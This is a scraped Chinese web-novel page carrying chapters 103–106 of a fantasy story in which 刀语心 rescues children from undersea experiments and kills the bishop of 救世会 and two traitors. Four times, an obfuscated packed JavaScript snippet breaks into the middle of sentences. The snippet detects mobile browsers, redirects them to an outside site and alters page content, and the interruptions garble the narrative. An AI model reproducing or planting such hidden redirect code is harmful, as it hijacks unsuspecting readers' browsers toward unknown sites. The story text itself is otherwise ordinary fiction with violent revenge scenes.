“既然我做不到,那你也别想做到!”什么合作,什么理解,自始至终瓦尔坎想要的只是自己造出神器的结局,表现出来的友善也只是为了得到神器。 他能在地下室布置炸药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346322|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己的老巢自然也不遑多让。在被黑潮撕裂的前夕,他高举仅存的手指按下引爆器。在那之后,什么都没有发生。 他不信邪,用最后的神智按了一次又一次。 “为什么……” 直到最后,他也不明白自己为什么会失败。 黑潮早就渗入地下搜查,顺便切断了炸药之间的连接点,刀语心也乐得他一无所知的死去。 她不知道活着还是死去那种能让瓦尔坎痛苦,能让他得到报应,但如果他的死能让那些孩子睡个好觉,刀语心就觉得这值得。 将瓦尔坎的脑袋收起,以及收集指向苏秦两家勾结和进行毫无人性实验的证据后,刀语心找到海下屏障的源头。 只需一眼她就知晓,这是耗费无数心血打造出的作品。 这个装置能撑起如此大片区域在海下安然无恙存活,这已经是前所未有的壮举,如果得以发展或许还会有更多有用的衍生装置。 只可惜,瓦尔坎放任自己的恶意,又被外界的标准裹挟并操控。 如今灭灵剑也破损,难以修复,刀语心本就打算给自己打造一把武器,现在也提上日程。 异化之力在她手中凝成长矛,朝着穹顶的最高处射去,击出一道裂痕,很快,那点点裂缝开始扩大延伸,最终在海水重压下破碎。 并不美丽的瀑布在刀语心眼中流淌,不需要多久,这里的一切都会被海水浸泡,连同他们所犯下的罪孽。 深海是没有光的,照明装置也在进水后闪烁灰暗,在视野即将灰暗时,手腕间的流光拽了拽她。 回头,谢止沉来到她的面前。 “走吧,我们回去吧。”她牵住他伸出的手。 再一转眼,他们已经回到了船长的船上,船上的所有人都在忙着为那些孩子疗伤,无论是躯体还是精神上的。 “你从哪救出的这些孩子,他们遭遇了什么?”平日有些不正经的船长在见到这些孩子后也蹙起眉头。 刀语心只是将自己所收集到的部分资料递到众人手中。 “这些下三滥的家伙真是恶心!他们怎么能对孩子下手?”就因为失去了一个血脉极为特殊的实验品,就想到处制造惨剧抢走孩童得到下一个更好的实验品? 即便这是浩劫,但总有一些东西是生而为人无法割舍的,新生的世界更不是他人作恶的理由。 无论是从前身为血种的雪姬,还是这些孩子,都不该是任何人任何事的牺牲品。 “等到靠岸,我会把他们交给神殿。”刀语心说出自己的打算。 “神殿那些人会比这些人更好吗?”有人异议船上的人之所以游离在海面,也是对陆地上的一种不信任。 “或许,我们应该问问他们自己的想法。”谢止沉说道。 “那就先给他们一些时间吧,让他们缓一缓,如果愿意去揭发家族就去,没有也没问题。”刀语心带走了瓦尔坎的脑袋为的就是能够从中提取记忆。 一直没有说话的韩弈走到刀语心面前,对她说:“谢谢你。” 突如其来的道谢,让刀语心思绪一滞,随即有更多的人拍拍她的肩头,轻轻拥抱,或是用目光对她表达谢意。 张了张口,她不知道如何回应。 她想,就算不是她也会有人将恶行揭发,毕竟善与恶就位于海面两端。 103. 第 103 章 回到船上已是深夜,船长却还是动用她的人脉请来了顶级治疗师,在之后几天的精心治愈下,被救出的孩子们勉强能与外界进行交流。 只是大家都不确定这是不是一个合适的时机,让他们去向神殿揭发家族的恶行。 直到一天,恢复水平较高的小女孩主动和治疗师说她愿意,她愿意去,她愿意再一次回顾自己曾经遭受的苦难。 所有人都会尊重她的选择,轮船开始靠岸。 在上岸前夕,海平线上缓缓升起太阳。刀语心倚靠在栏杆上,谢止沉站在她的身旁。 “罗茜和我说,等神殿出手,她就可以拿到钥匙开启宝库大门。”她在暗中积累的力量早已足够,她近日已经成功拿下周家,即便其他人心有不满想要制造舆论,很快就会被苏秦两家压下。 “我需要的材料也收集好了,你什么时候想走我们就什么时候离开。”谢止沉知晓刀语心在计划之后的日程。 目前为止,她同步收集解除诅咒和神阶图纸的材料,解除诅咒还需要离开这个世界,世界熔炉又在邪魔域之中,原定的计划是先接触诅咒,但刀语心隐隐约约有种不安。 她要离开这个世界半年,这半年是她无法参与和无法控制的。自苏醒后就来到这个世界,不说所有,刀语心一直记挂着远在无名镇的几人。 “解除诅咒一定要去别的世界吗?”她不太放心。 “按照级别来说你身上的诅咒完全算得上神阶,根据我们得到的信息来看,这个世界的神不允许半神阶和神阶的存在,解除诅咒产生的力量波动会引起祂的注意。” “如果你不想我们也可以不离开,只是有一些风险而已。” “我再想想。” 除开这两件事务,关键的还有一点就是刀语心要处理救世会。之前把巫津放走了,就是指望他把主教叫回来,一石二鸟。 他最好别让她失望。 船舶靠岸,没了伪装装置谢止沉直接带着刀语心还有主动出来揭发家族的小女孩回到住宅中,千渡和昭临已经在等着他们。 “这就是救出来的孩子吗?”千渡半蹲下和小女孩平视,“和我说说吧,说你愿意说的就可以,不必勉强自己。” 听到这温柔的话语,小女孩早已干涸的眼眶中流出泪水。如果她一直承受苦难,那么她会习惯,但这样突如其来的温暖总是能先苦难一步将她建立起的心理防线击穿。 千渡并没有责怪小女孩,只是温柔地擦拭她的眼泪,将她抱起坐下:“饿不饿?渴不渴?没事的,我们慢慢来。” 小女孩摇摇头,自己擦干眼泪,颤抖着声调和千渡诉说着自己曾经的遭遇。 她是在一个小村落中出生的,她有父母有兄长,她很幸运,在她童年的时光中天灾从未降临。只是某天来了一车武装严密的人,在村里把半大的孩子,全部抢走。 她见到挡在自己面前的家人被无情杀害,就因为在那些人口中,这些职业天赋毫无价值。 年幼的她被掳走,再睁眼,就是来到海底。那里有更多和她一样的人,他们都是在不同地方被人抢走。 在那之后的时光中,家族的人会在瓦尔坎的指示下对他们进行实验,扎进皮肉无数次的针管,各式各样的溶液,他们就在那样的环境中苟活下来。 千渡听到一半就紧紧抱住了这个孩子,昭临已经在调动神殿人手。 “我无法确保这样的事情不会发生在所有人身上,但请你相信,在往后的人生中我不会再让这种事情上演。”千渡向小女孩保证道。 “姐姐,谢谢你们,我想回去。”她想回到自己的同伴身边。 “去吧,有什么事情可以随时来神殿找我。”千渡摸摸小女孩的脑袋,目送她离开。 此刻只剩下刀语心和千渡二人,在看完刀语心收集的资料和瓦尔坎的记忆后,千渡深深叹了口气,她知道自己没办法回到过去挽回这一切,但她至少可以补偿。 “神已经将他们的试验场毁掉过一次,他们竟然还敢继续。”她撑着自己的头,压抑着心底喷发的怒意。 还就在他们眼皮底下,就在中央城外部海域的最下方。 “都是我看管不力。”千渡想,要是自己早些在蛛丝马迹中发现端倪,是否这些孩子就能少些牺牲,被救出的就会多一些,被迫害的就会更少。 “不必自责,你已经做得很好了。人的精力是有限度的,你没办法把所有的担子扛在自己肩上。” 见此情形刀语心出言安慰,不怪船上的人对神殿抱有疑虑,神殿中的人大多数都是崇拜神的力量,为求庇护贪生怕死的家伙。 大多数人都是只在乎自己,他们压根不想去理会,能有千渡这样的领导者已经是万幸中的万幸。 “从前我以为的神殿是救苦救难者的组织,加入后我才发觉,他们完全和我预期中相反。”说起从前,千渡有些无奈。 年幼的她天真地认为,神会普度众生,事实上是神根本不在乎众生。 发现周围的世界和她所想所期望的截然相反后,千渡明白,人不可能去期望祈求他人,只能由自己的力量去完成自己所想之事。 “谢谢你,如果没有你,他们遭受折磨的日子还要再一步拉长。” “不必言谢,我并不认为我做了什么。” 对刀语心而言,她出发的动机只是需要找到对秦苏两家不利的证据,从而得到自己想要的东西,她本意并不是为了拯救。 “可你做的事就是拯救不是吗?”千渡笑着说道。 有些人看起来心怀众生,实则只为自己,她认为刀语心恰恰相反。 “昭临动作很快,不用多久他们就会被处理掉。”千渡声音变得凛冽,“在那之后,我会去试着补偿那些孩子,但我也会尊重他们的意愿。” “好。”刀语心应下,她也明白千渡并不是心怀恶念之人。 之后,她打算去救世会看看,情报贩子告诉她主教已经回来。 给谢止沉发过消息后,刀语心就只身一人前往,并不是她大意,而是她想自己去解决从前遗留下来的仇怨。 狂信徒依然在到处寻找刀语心的踪迹,她披上斗篷,流光会为她引路。救世会在中央城的据点并不算小,甚至可以用隐秘奢华来形容。 救世?他们是在救自己,还是在进行所谓的救世? 刀语心面无表情推开大门,里面一个人都没有。院子很大,小路弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351822|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯绕绕,视线落在参差不齐的灌木根部,那里有血红的痕迹,藏在暗中勾勒出庞大隐秘的阵法。 见此,刀语心没有过多停留,但凡走过的地方,身后都被异化之力搅得天翻地覆,连根拔起。 一墙之隔,外界对内里的事情一无所知。 天光大亮,救世会据点却有些无端的阴森寒凉,走过漫长的林荫小路,刀语心终于来到中央房屋坐落处。 她站在门槛之外没有进去的意思,视线扫过在室内喝茶的巫津。很好,他脸上没有挂着让人恶心的笑容。 “你终于来了。”巫津也是一如既往的声调,只是无端有些阴沉。 他理应如此。 过往犯下的错误,会化作缠人的梦魇,除非被害者死去,否则加害者将永无宁日。如今看来,他押注主教是大错特错。 救世会只能在过去几年中,对刀语心进行不紧不松的限制,一旦她开始成长,她凭借自己的力量走出无名镇,他们就再也没有限制的办法。 诅咒有三重,一重二重已经触发过,但根本没办法牵制刀语心分毫。 至于其三?就算是巫津想用也没有办法。 刀语心是不能死去的,就算他再怎么请求,刀语心的价值就在那里,她必须活着,必须利用,即便如今他们已经不是平衡的天平两端。 甚至,天平已经开始向她倾斜。 如今,被牵制的对象已经在无形之中变成了他们,而曾经被轻视的一方,也有了复仇的力量。 “她在哪?” 巫津知道刀语心问的人是主教,也是因为主教他才能在之前从她手中安然无恙地逃走,这是他对她而言最后的价值。 他摇晃着手中的茶杯,没有说话,随后一道黑影就将其打碎,炸开的碎片在他面上划出细小的伤痕,水渍则顺着僵硬的手指淅淅沥沥。 “连一把武器都没有,你就敢闯入这里,该说你是不小心还是太过自视甚高?” 阴影之中,略带威严的声音随着权杖的杵地声浮现在刀语心面前。 “好久不见啊。”刀语心盯着头戴冠冕的主教,还看见跟在她身后的人影,吴德。“最近过得怎么样啊?还好吗?” 她亲自布下的诅咒,她很好奇效果如何,只可惜他们谁都没有接对方的话。事实上,众人也都各怀心思,没有谁是为了让这局面和解而来。 “把他身上的诅咒解开,过去的事情既往不咎。”主教先发制人地开口,得到的只有刀语心的冷笑。 “真是抱歉,从一开始我就没想过怎么解除,唯一的办法就是去死。”她真不知道主教为什么要这么在意吴德,也不知道她哪来的脸让她解除。 “而且,你也配和我说既往不咎?”她找上门就是为了报仇雪恨的。 “这是你最后的机会,你最好好自为之。如今天启者死了占星会没人顾得上你,巫津没有触发三重诅咒的办法但不代表我没有,别以为你如今可以平安无事。” 主教走到主位上坐下,言语中并没有太多情绪起伏。 刀语心向来吃软不吃硬,对主教更是软硬不吃:“那你试试看好了。” “看看是我先杀了你们,还是你先弄死我。” 104. 第 104 章 自刀语心进入救世会据点后,异化之力就已经在暗中延伸盘旋遍布在阴影之中。 而在此刻,得到指示之后更是从影子中窜出,无数力量凝结成的黑线朝着三人而去,很显然,刀语心并不打算放过任何一个。 主教的权杖闪烁一点金光,周围房屋的墙壁圆柱上就浮现许多防御用刻印。 “去,要么杀掉她,要么被她杀掉。”主教冷漠地对吴德和巫津下令,她撑着脑袋,防御只设立在她周围,可以说只要主教想,他们两个完全会被踢出在外。 巫津就算了,他在救世会这么多年一直都很清楚主教是一个怎样的人,但吴德就不一样了。 他自诩主教的侄子,躲在主教身后,希望主教能看在他母亲的情分上帮他解决刀语心,解决诅咒带来的麻烦,于是此刻他一脸不可置信地看着主教,声音被恐惧充斥: “主教,你为什么不直接杀掉她?” “拿走她战斗天赋的是你。” 在场的也只有吴德一人是与战斗有关的职业,而他现在还想一退再退。思及至此,主教眼中满是不耐。 “你只有两种选择,要么被她杀死,要么杀死她。”这也是主教预知中的两种结局,只是后者的概率微乎其微近似为零,但那又怎样呢? “可我是吴阿婆的孩子。” “所以呢?” 是啊,所以呢。事实如此,但为什么吴德这个蠢货会一厢情愿地认为,他身为吴阿婆之子,就能得到主教的庇护呢? “就算姐姐她没死,你今天的结局也只会是这样。”主教眼中的恶意不再加以掩饰,这就是她真正的想法:“废物不配成为她的子嗣。” 听到这话的吴德冷汗直冒,弃他于不顾的主教,同病相怜甚至比他更弱的巫津,还有那漫天遍地攻击的来源,刀语心。 他想,自己到底为什么要惹那尊煞神?他为什么会走到今天这个地步? 那天夜里的伤痛他永世难忘,出现在刀语心面前已经耗尽了他所有的勇气,现在主教还让他去杀了刀语心,怎么可能! 他麻木地转头,将唯一仅剩的希望再次寄托在巫津身上,如果对方…… 还没等他多想,还挡在面前的屏障就缩小,瞬息间那些漆黑攻击就刺穿他的胸膛,视线被血液模糊,从口中涌出。 或许现在死了,也是好事?至少他不会再饱受折磨。 但为什么?那刺穿身体的力量,又退了回去?造成致命伤但他一时半会没办法彻底死去,这熟悉的感觉让吴德的精神濒临崩溃。 神情恍惚间,他听见巫津在和刀语心说话。 巫津的伤势也不遑多让,不会比吴德轻,只会比他伤得更重,可他本就是个贪生怕死之人,现在又是用最后的力气和刀语心打感情牌。 “姐姐,姐姐我错了,再给我一个机会吧。”他拖着重伤的躯体,跪在刀语心面前。 “我当初不是故意出卖姐姐你的,我也是,被逼无奈。” 这是巫津想出来的唯一可行方法。 他压根没办法从刀语心手下逃开,她实在是太强了,离开无名镇后这短短一段时间,他不明白为什么她会变得这么强。 原本都以为她只是一个锻造师,不会有多少的杀伤力,但现在看来大错特错。 巫津以为提起过去再悔过,就至少能再给他预留一点辩解的空间,但下一刻,他整个人就被刀语心踢开。 “看来你很不想死啊,那我就放心了。”刀语心自阴影中俯视着巫津,他正因为疼痛而整个人扭曲蜷缩。 “你从不后悔背叛过我,你只是在后悔自己站错了队。” 她想过,为什么巫津会选择背叛她投靠主教。在那时,他们一无所有,在荒凉的沙漠上只能依靠救世会来得到基本的生存物资,而巫津总会将视线投在那些光鲜亮丽的器物上。 对他而言,一个有可能失败的逃离计划算不上什么,于是他选择用自己的同伴作为垫脚石得到更好的生活。 “别杀我……”巫津的视线已经变得模糊,可那汹涌而出的杀意并没有消失,而是愈演愈烈。 他会死,他从未如此清晰地想到这一点。他拖着自己,不断向外爬出,伸手,想要触碰门外的天空。 谁能来救救他?谁能来让他活着? 没有人。 手掌被钉死在门扉之内。 同病相怜的吴德已经失血过多晕了过去,见此情形,主教端坐在位置上面色冷淡地鼓掌:“短短几个月,你的变化还真大。” 上一次见面,主教还能毫不费力地在刀语心身上留下印痕,而如今手持屠刀的身份已经换位。 和另外两人全然不同的是,主教自始至终都没有惊慌,就像是她早已预见现在的情形。 刀语心问她:“我的天赋很好用吗?” “当然。”不然也没必要抢走。 主教撑着头,手指在权杖上轻扣,她默默注视着依然站在门外不曾踏入一步的刀语心,无数漆黑如墨的攻击如铁锤般攻击着她最后的屏障。 在又一次轻点权杖后,主教的眼中已然变换一番景象。 时间仿若按下快进按键,不久后,她的结局和他们没什么两样,都是倒在血泊之中,可其中又有一些细微的不同,她的眼神变得空无,灵魂被抽离了躯壳。 主教在预知此地所有人的未来,但她却有些不合时宜地回忆起属于自己的往昔。 名为吴瑕的存在,跨越了两个完全不同的时代。在过往的旧世界中,她们因为基因缺陷被父母抛弃,在救助和彼此照顾中长大,她们共同淋过无数场雨,你一口我一口吃掉过期但依旧美味的食物。 她的姐姐想要当时的一本书,她们也无力购买,只能一次又一次路过,一次又一次依依不舍地离开。 后来,吴瑕在一个雷雨夜引爆了橱窗,躲避一路的追杀,回到属于她们的小家。 她记得她的姐姐只是看了一眼就将那些书放在一旁,着手为她处理伤口,没有问责,也没有问为什么,她们就在燃尽的炭火边彼此依偎。 时至今日吴瑕依然觉得,在姐姐的身旁是她最幸福的时光。 从小到大,她们两姐妹都是每场考试的第一第二。按照当时的走向,她会加入联邦进入军队,姐姐更喜欢科研一类则是进入研究所。她们约定好,要在之后的生涯中,成为各自领域备受瞩目的存在。 她想,她们的未来不再会被童年的阴雨淋湿。 可是不久后,浩劫降临了。 时代最前沿的研究在神的伟力下如同一张薄纸,一触即破。 而在那之后就是无休无止地混乱,她们还算幸运得以存活下来,得以在一片狼藉中找到彼此,可在那之后就是无穷尽的漠然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356976|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她们所有的计划,所有的梦想,都被一同埋葬在浩劫之下。 吴瑕不止一次地想过,活在这样不堪的世界,是否是一种诅咒?好在还有姐姐在她的身边,她才能勉强活下去。 在浩劫刚过后的那些年头,在世间行走的她们看到了太多的不堪,为了在吃人的世界活下去,她也学会了吃人。 所有的一切都是她可以利用的武器,为了能和姐姐活下去,为了能更好地活下去。即便与从前的理想背道而驰,成为主教的吴瑕也从不后悔。 只是,只是……她的姐姐死去了。 因为神不允许锻造出神阶以上的存在,连同锻造师也需要被一同处死。 于是,她的姐姐死去了。 她们的一生并不是什么英雄史诗,被称作吴阿婆的姐姐早已失去了名字,吴瑕的存在也仅仅存在于角落的回忆之中,如今的她手握虚假的权杖,不再是谁的妹妹,她只是救世会的主教。 “所谓的神明,毁掉我所拥有的一切。” 第一次,第二次……一次又一次。 她撑着权杖,从座位上起身,走向属于自己的死亡。 “祂是我们共同的敌人,我无法杀死祂,但我无法做到的事情不代表你无法做到。”她自顾自地开口,自顾自地言说,没有任何的期许,只有长久的荒凉。 低垂的视线分给半死不活的吴德,主教毫不留情地将他最后的气息掐断,与其留着他饱受诅咒折磨,不如直接将其了结。 她抬眼,双眼遍布皱纹将神色衬托得更为瘆人。 “这是我送你,最后的礼物。” 话落,主教的脚下浮现出一个构造极为复杂的阵法,满目的不祥红光似是将地狱连通,前一秒还平整的底面被某种力量强横撞破,黑红色交织的锁链将她自己的心脏击穿搅碎。 主教先刀语心一步杀了自己,很明智的选择,否则她绝不会死去的如此轻松。 于生命的最后,主教浑浊的眼依然死死盯着刀语心,那双毫无情绪的眼眶中满腔怒火的人反倒是她自己。 她是恨的,除开相依为命的姐姐,她恨所有人,包括她自己。 她恨将她们带来这个世上的存在,恨抛弃她们的家人,恨年幼时给她们难堪的家伙……她恨让姐姐承受痛苦的吴德,恨毫无用处轻而易举背叛同伴的巫津,更恨被姐姐捡回来的麻烦,天赋异禀的刀语心…… 她最恨的莫过于神明,轻而易举摧毁她们前半生费劲得到的所有,又将轻而易举将后半生的希望掐灭。 说来说去,她只恨自己。 机关算尽穷尽一切依然得不到一个好结局。 很快,主教全身血液流尽,阵法连同灵魂一并破碎,在她死后天赋就回到刀语心的身上。 预知?但一时半会刀语心不知道如何使用。 身后传来声响,是方才主教弄出的动静吸引来了其他人,看着室内的三具尸体,她没有过多的表情随即转身离去。 主教死前的话也让刀语心很在意,所谓最后的礼物,恐怕不是什么好东西。 披上斗篷潜入阴影,她头也不回地离去。 从前对她施以苦难的人如今都已死去,可是,她心中并没什么雀跃的情绪。毁灭和复仇是必要,但她也的确无法从中得到丝毫慰藉。 她只想回到牵盼之人的身边。 105. 第 105 章 此时此刻在中央城的另一边,还有一件事在吸引着所有人的注意:神殿中的人蜂拥而出,兵分两路朝着东区进发。 不久前,在神殿大厅中千渡下达了指令: “缉拿苏家,秦家所有人,若有逃离者,就地格杀。” “是!” 一贯慈悲的千渡展露极为冷硬的一面,本就没人敢反驳现在更是鸦雀无声地去执行命令。 神殿虽蛀虫多但好歹势力大,加上千渡这些年都在暗中培养,并不缺少人手。神殿的威慑绝大部分来自神明本身,但也有不小的一部分属于人类,而这当中千渡又属于佼佼者 她很清楚,只是一味宽容和心软没办法实现自己的目标。 千渡,千渡,她所求的是能让更多人活在一个还算美好的世界中。 他们是她的阻碍,她会将其清除。 近些日子中央城本就戒严难以出入,即便得到消息,想跑也跑不出去。 已经有一段时间没收到来自海底的消息,苏秦两家就知道他们完蛋了,被发现就算了,还是被神殿发现的,他们根本就没有任何狡辩和逃离的办法。 有人准备来个鱼死网破,举起手高声召集:“拿上武器汇集人手,我们和他们拼了!” “和谁拼了?” 昭临不费吹灰之力就地把下令之人高举的臂膀砍断。 “攻击!!!”他们仍不死心。 为了活命,为了求生,又或是不知所以就被其他人带动着朝神殿发起进攻。 只可惜,都是徒劳。 防御性的技能展开,人手一步步朝前推进,他们连最基本的防线都无法破除,更别提伤害到神殿的人了。 昭临也在此刻开始煽动人心:“坦白从宽,抗拒从严。你们之中有些人并不无辜,但也有人什么都不知道,就承担了你们所犯下的罪行。” “而那些自诩无辜的人,现在放下武器停止攻击,就是对你们自身行为最好的解释。” 人群中有些人听到这话也是真的放下了武器:“我们什么都不知道……” “你们这些贪生怕死的东西!拿起你们的武器,只有反抗我们才能活下去。我们是一体的,不要被他挑拨离间!”为首之人恨铁不成钢,但究其本质他也只是担心自己被抛弃。 “那你敢告诉他们,你们究竟做了什么吗?” 说起这件事,昭临就不由得有些怒从心生。 “有英勇之士在海域的海底发现了一个监牢一个实验场,那其中他们正在用许多无辜孩童的性命进行惨绝人寰的实验。” 昭临说这话不是无凭无据,他没打算用自己单薄的言语就去煽动,他动动手就将几则重要的证据和图片,还有那些孩童的部分状况呈现在众人的面前。 这淋淋的罪证,也让两家内部不知情的人大为吃惊。 “你们怎么能做这种事?” “我知道家族里背地很恶心,但没想到会这么恶心,你们真的连人都不配是。” “我的孩子,我的孩子是不是就是被你们偷走的?” 他们既然都做到了这种地步,对内部人下手也倒是不让人惊讶。但也正因如此,他们都敢对内部的人下手,而那些人又为什么要对他们死心塌地呢? 情况直转而下,他们中的很多人已经选择了自己的立场,没有将武器对准神殿,而是将其对准了一切的罪魁祸首。 “你们,你们凭什么背叛家族?家族辛辛苦苦养了你们这么多年!”为首之人,已经慌不择路。 “加入家族难道我们没有作出贡献吗?难道我们什么都没做吗?你们竟然能做出这些丧尽天良的事情,下一步需要人体实验,是不是也是把我们这些和家族没有血缘的人全部推向实验台上呢?” 即便家族内部高层都是有血缘的人,但其他无血缘被雇佣或者因为各种原因加入家族的无限外之人比例也有很多,此刻又加上神殿在场,核心成员被团团围住。 见此情形,昭临直接下令让其他人去抓住与这件事直接有关的几个核心成员。 他们不会迫害无辜之人,也不会放过任何一个有罪之人。 “她闹出的动静还真是大啊。”传召使站在高楼,眯着眼看远处白日燃火,还是有一部分家族内部的成员在反抗神殿。 在他身旁的墨泽对此没什么看法:“千渡昭临和我们不一样。” 他们都同为神殿的人员作风却大相径庭。墨泽因为雪姬的缘故加入狂信徒,狂信徒们大多数一心只有神,至于千渡和昭临则是为了人,传召使则是介于两者之间,他只做神的传话筒。 “只是千渡吧,昭临也不过是个听她命令的打手罢了。”在传召使看来,昭临毫无必要。 “你真以为如果千渡和你一样,昭临还会听她的话吗?” “哈,你还内涵上我了,你妹妹呢?” “她……” “别告诉我,她还在找刀语心。” 墨泽点了点头。 自前段时间分别后,修女陪在雪姬身边,在中央城四处寻找着刀语心的踪迹。 修女其实不是很明白,为什么雪姬会对刀语心那么执着,但她下定决心要守护好雪姬,除此之外的一切她都不再在意。 前不久的夜晚,所有在中央城内部的人都在深夜感受到一阵强烈的震动。 一开始还以为是类似地震的天灾,但后面什么都没有发生,也就渐渐被人抛在脑后。不知道为什么,在那之后的今日雪姬突然提出她想去海边走走。 于落日的余晖下,她们在沙滩上漫步。 “克莱莎,你以前是干什么的?” 名为克莱莎的修女,没想到雪姬会询问她的过去。 “我吗?” 她啊,自出生于一个信仰教会的家庭,他们都认为浩劫是对这个世界的惩罚。 但时至今日,不论是年幼还是已经成长为大人之后,克莱莎都不明白,为什么他们一定要被惩罚? 浩劫一个让所有人永生难忘的词语。 毁掉了几乎所有人的一切。 人是需要支柱的,尤其是对她这样从小接受信仰存在的家庭环境,于是她理所应当地加入了神殿,成为狂信徒。 狂信徒是无法多加思考的,在她被赋予代号之后,名为克莱莎的存在就消失在这个世界上。 她成为信仰神明的一员,成为神的走狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366349|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,成为在世人眼中无比疯癫的狂信徒。 “我以前大抵是个疯子吧。” 直到有人用自己的死,博得了她的清醒。 “怎么会呢?我觉得你也是很好的人,真正的疯子是连自己的疯狂都无法意识到的。”雪姬踢着沙滩上的贝壳,低着头似乎在寻找着什么。 “找到了。”一些不属于这里的残骸。 “那天晚上的震动让我觉得有些不安,我感受到某处的空间似乎坍塌了,这里就是那些东西的残片。” 可是为什么?雪姬不知道这些残片来自于什么东西。 等回到中央城内,她们才发现街上很乱,周围都是一些好奇的群众在朝着东区的方向望去,那里是苏家和秦家所在。 见雪姬有些好奇,克莱莎也主动向前去询问路人发生什么事了。 “听说是苏家和秦家进行什么人体实验还在海下,囚禁了很多的小孩子,然后被神殿发现了,现在正在处决。” “这些狗东西可真不是人啊!” “就是就是,再怎么说也不应该这样。”这是生而为人的最后底线。 听到这里克莱莎猛地回头看向雪姬,她对雪姬的过去也有所听闻,雪姬可是神亲手救下来的,也是同样的情形。 见到克莱莎关切的目光,雪姬只是默默地摇摇头表示自己没事,紧接着她向那几人询问道:“那其他的孩子呢?救下来了吗?” 围观群众点点头说:“救下来了,现在都抢着要呢,神殿那边想要人,但是船舶那边好像不想让他们进入中央城和神殿,大概到最后还是要遵从那些孩子的个人意愿吧。” “真不知道那些人是怎么想的?怎么不让他们来中央城,中央城多好啊。” “得了吧,要是真好的话就不会出那些猪狗不如的畜生了。” 围观群众也渐渐散开了,毕竟有神殿的雷霆手段在,他们相信那些罪该万死的人都会得到应有的惩罚。 只是雪姬依然站在原地,沉默不语。 克莱莎有些担忧,若非必要没有人会在雪姬面前提起过去,一是担心她难受,二是这样的经历任谁都无法轻而易举地释怀。 她抬手轻轻放在雪姬的肩头,雪姬也知晓这是克莱莎在安抚自己。 “不用担心我,我只是有些……” “庆幸?” 说着,雪姬的脸上却滑下泪珠。她也有些不解,为什么自己会哭呢?她不是很早就已经得救了吗?为什么在多年过后的今时今日,又会再一次无法控制地落泪呢? 她心中隐隐约约感觉,即便谁都没有说出发现并救出的人究竟是谁,但雪姬知道一定和刀语心有关。 否则,一潭死水的中央城又怎么会激起涟漪? 她擦干自己脸上的泪痕,没有放任自己沉溺于过去太久,她知道自己需要找到刀语心。她没办法改变神杀死对方的决心,但她想让刀语心活下去的意愿是同等的强烈。 “咚——咚——咚——” 鸟群被不合时宜的钟声惊吓飞远,克莱莎的视线转向钟声传来的地方,雪姬却看向截然相反的北面,面上极度惊慌。 亚空间为什么在这时产生波动? 106. 第 106 章 时间退回刀语心刚从救世会回到住所,长桌一旁,罗茜已经在等待着她。 听见她回来的动静,罗茜笑着朝她招手,等到落座刀语心就见到早已准备好的惊喜:六匹精美绝伦的钥匙整整齐齐放在她的面前。 “……谢谢。”刀语心真心实意地感激帮助过她的每一个人。 她并不觉得自己帮了罗茜做过什么,但对方仍然愿意帮助她,即便背后有苏岚的授意,这份恩情刀语心也没齿难忘。 “若有需要我的地方,尽管和我开口。”这是她的承诺。 听到这话罗茜脸上笑容更盛,不出于某种算计,而是:果然啊,刀语心就是这样一个有些认真的人。 这些时日接触下来,罗茜本就对刀语心印象好,现在只是更好了。世界上的很多东西都是利益置换,帮助刀语心的价码苏岚也早已支付,可她仍然愿意为自己许下诺言。 “有你这句话就足够了。”罗茜相信刀语心绝不会食言。 “只要你需要,现在就可以去宝库所在位置。” 没有犹豫多久,刀语心看向一旁的谢止沉对方也朝她微微颔首表示自己没有什么问题后,她就应下:“好,现在就去吧。” 早解决早安心。 闻言,罗茜在座位上打了个响指,一串精准坐标就出现在二人面前:“去吧。” 刀语心:“?” 看出刀语心脸上的疑惑,罗茜笑着说:“你直接去开,然后拿走需要的就好了。” 就不怕她把宝库里面的东西都搬空吗?这是对她有多放心。 随即罗茜又一次回答刀语心没问出口的问题:“全拿走也可以的。” 